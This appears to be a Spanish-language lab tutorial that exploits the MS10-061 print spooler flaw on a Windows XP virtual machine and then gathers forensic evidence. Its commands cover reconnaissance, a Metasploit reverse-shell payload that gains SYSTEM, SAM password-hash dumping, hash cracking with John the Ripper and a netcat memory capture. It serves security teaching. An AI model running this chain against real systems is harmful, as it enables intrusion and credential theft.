Escenario
¿Alguna vez ha oído hablar de cómo alguien fue capaz de conectarse a una impresora compartida y más tarde obtener el privilegio de administrador de esa máquina? Bueno, los atacantes pueden usar la técnica que Stuxnet para obtener privilegios para los servidores Windows XP y Windows 2003 que comparten impresoras. Esta lección proporcionará (1) el reconocimiento para ver esta vulnerabilidad potencial, (2) realizar la explotación, y (3) cómo recoger los archivos forenses para una investigación posterior.
¿Qué es Helix?
Helix es una distribución personalizada del CD de Knoppix Live Linux. Se centra en la respuesta de incidentes y la informática forense. Helix es algo más que un CD de arranque en vivo. Con Helix puedes arrancar en un robusto entorno Linux que incluye (1) un kernel Linux personalizable, (2) excelente detección de hardware y (3) muchas aplicaciones dedicadas a la respuesta de incidentes y forenses.
¿Qué es la vulnerabilidad de suplantación del servicio de cola de impresión de Microsoft?
El módulo ms10_061_spoolss explota la vulnerabilidad de suplantación de servicios RPC (cola de impresión). Al realizar una solicitud RPC específica de DCE al procedimiento StartDocPrinter, un atacante puede suplantar el servicio de cola de impresión para crear un archivo.
El directorio de trabajo en ese momento es %SystemRoot%system32. Un atacante puede especificar cualquier nombre de archivo, incluyendo rutas transversales o completas de directorios. Al enviar solicitudes WritePrinter, un atacante puede controlar completamente el contenido del archivo creado.
Referencias
Requisitos para hacer esta practica
Post requisitos
Que haremos en esta practica
Lo primero que tenemos que hacer es navegar a la siguiente URL HELIX y descargar el archivo en el windows xp
Abrimos Windows XP y añadimos una impresora, puede ser Canon, HP…
Se abre un terminal Kali y ejecutamos nmap contra el xp
nmap -sS -sU -O -p137-139,445 ip_xp
Se observa que el servicio (1) netbios-ssn está abierto el puerto 139/tcp, (2) microsoft-ds es abierto el puerto 445/tcp, y (3) el sistema operativo es Windows XP
Utilizamos el nmap TCP SYN Scan (-sS) y UDP (-sU) para buscar rápidamente en el XP los puertos de NetBios 137 a 139 y 445. Tambien usamos -= (Footprint del sistema operativo), para que nos diga que sistema operativo estamos escaneando
NetBIOS es un acrónimo de sistema de entrada/salida básico de red. Ofrece servicios relacionados con la capa de sesión del modelo OSI, lo que permite es que aplicaciones en equipos independientes puedan comunicarse a través de una red de área local
Se utiliza el puerto TCP 445 para acceso directo de red de Microsoft TCP/IP sin necesidad de una capa de NetBIOS. El protocolo SMB (Server Message Block) se utiliza entre otras cosas para archivos compartidos en Windows NT / 2K/XP.
para buscar los nombre que utiliza la NetBIOS utilizaremos el comando nmblookup que realiza consultas de nombres NetBIOS y asignar direcciones IP en una red con NetBIOS sobre consultas de TCP/IP. Las opciones permiten las consultas de nombre ser dirigido en una determinada área de difusión IP o a una máquina en particular. Como se puede observar WXP es el nombre de estación de trabajo NetBIOS. Ahora tenemos la pieza final de reconocimiento para consulta NetBIOS acciones incluyendo las impresoras.
nmblookup -A ip_xp
La linea con el codigo <00> nos indica que es el nombre de la estacion de trabajo segun NetBios la linea con el codigo <20> nos indica el grupo de trabajo la linea con el codigo <01> indica el buscador por defecto
El codigo B nos esta indicando que es una red Broadcast
Acceso a los recursos SMB
smbclient -L \\WXP -I ip_xp -N
con la opcion (-L) lista los servicios que están disponibles en la estación de trabajo de NetBIOS.
Uso (-I) si el nombre NetBIOS no coincide con el nombre de host DNS de TCP/IP o si están tratando de llegar a un host de otra red.
con (-N) no solicitamos la contraseña
SMB funciona como un protocolo de red de capa de aplicación utilizado principalmente para proporcionar acceso compartido a archivos, impresoras y puertos serie
Lo importante es que está compartiendo impresoras como canon o hp
Se inicia el msfconsole
msfconsole search ms10_061 use exploit/windows/smb/ms10_061_spoolss info set PAYLOAD windows/meterpreter/reverse_tcp show options
set LHOST ip_kali set RHOST ip_xp set PNAME HP (si se ha compartido con otro nombre la impresora con ese)
exploit
La puerta trasera se escribe en C:\WINDOWS\system32 y se usa para conectar y abrir una puerta trasera por el puerto 4444 en la maquina kali
el programa que ejecuta se llama en este caso RvOYs3UqrJq07a.exe
getuid getpid shell tasklist /v /fi "PID eq "1876" Cambia el PID por el que te ha salido con la sentencia getpid netstat -nao | findstr "1876"
getuid mostrará el usuario que el servidor de meterpreter ejecuta en el xp. Por consiguiente, NT AUTHORITYSYSTEM es la cuenta de administrador.
getpid proporciona el identificador de proceso (PID) de la sesión de meterpreter que se ejecuta en la máquina de la víctima. Mi PID es (1876).
Shell proporciona acceso de línea de comandos a la máquina Windows.
tasklist, este comando mostrará una lista de aplicaciones y tareas/procesos asociados que se están ejecutando actualmente en el equipo local.
(/v) muestra una lista detallada de procesos;
(/fi) es un filtro; y ( “PID EQ ” 1876 “) filtrar o mostrar sólo un PID que coincida con 196.
netstat muestra conexiones de red.
(-n) muestra direcciones y números de puerto en forma numérica
(-a) Muestra todas las conexiones y puertos de escucha
(-o) muestra el identificador de proceso propietario asociado a cada conexión.
tasklist > forense_tasklist.txt netstat -nao > forense_netstat.txt dir > forense_dir.txt exit
Comando 1, redirige la salida creada por TaskList en un archivo llamado forense_tasklist. txt. Comando 2, redirige la salida creada por netstat en un archivo llamado forense_netstat. txt. Comando 3, redirige la salida creada por dir en un archivo llamado forense_dir. txt. Comando 4, salimos del shell de comandos y vuelva a la solicitud de meterpreter.
https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics
El administrador de cuentas de seguridad Security Account Manager (SAM) es un archivo de base de datos en Windows XP, Windows Vista y Windows 7 que almacena las contraseñas de los usuarios
hashdump # seleccionamos todo, boton derecho del raton y copiar
gnome-text-editor samhash.txt # pegamos y guardamos el fichero
Preparacion para la recogida de datos de la memoria
mkdir -p /forense/ms10_061 cd /forense/ms10_061 nc -l -vvv -p 8888 > ms10_061.dd
Se crea un directorio llamado forense/ms10_061. Use (-p) para suprimir un error si el directorio ya existe.
Se cambia el directorio en/forense /ms10_061.
Creamos un escucha netcat (-l) en el puerto (-p) 8888 en modo detallado extremo (-vvv) redirigir (>) salida en un archivo (ms10_016.dd)
Click en CD/DVD(IDE)
Aceptamos pinchamos en la camara
En el momento que pulsamos start se empieza la captura de la memoria del xp a través de la red con la red netcat que se ejecuta en Kali
La pantalla negra desaparece cuando se haya terminado de copiar toda la memoria
En el Kali
vemos que una ver terminado nos indica la cantidad de bits de memoria capturada
Descarga de los ficheros forenses en el meterpreter
pwd download C:\\WINDOWS\\system32\\forense_tasklist.txt /forense/ms10_061/ download C:\\WINDOWS\\system32\\forense_netstat.txt /forense/ms10_061/ download C:\\WINDOWS\\system32\\forense_dir.txt /forense/ms10_061/ download C:\\WINDOWS\\system32\\RvOYs3UqrJqo7a.exe /forense/ms10_061/
RvOYs3UqrJqo7a.exe en vuestro caso el que se haya creado en el ordenador
En otra ventana de terminal ejecutaremos un John The Ripper
cp /samhash.txt . grep -i admin samhash.txt > adminhash.txt # cat /dev/null > /root/.john/john.pot (no) john --format=nt adminhash.txt
print de pantalla final que hay que entregar
ls -lrta grep "4444" *.txt grep "1876" forense_tasklist.txt # Reemplazalo por tu PID grep "RvOYs3UqrJqo7a.exe" forense_tasklist.txt grep "RvOYs3UqrJqo7a.exe" forense_dir.txt # Reemplaza (RvOYs3UqrJqo7a.exe) por tu programa malicioso date echo "Tu nombre"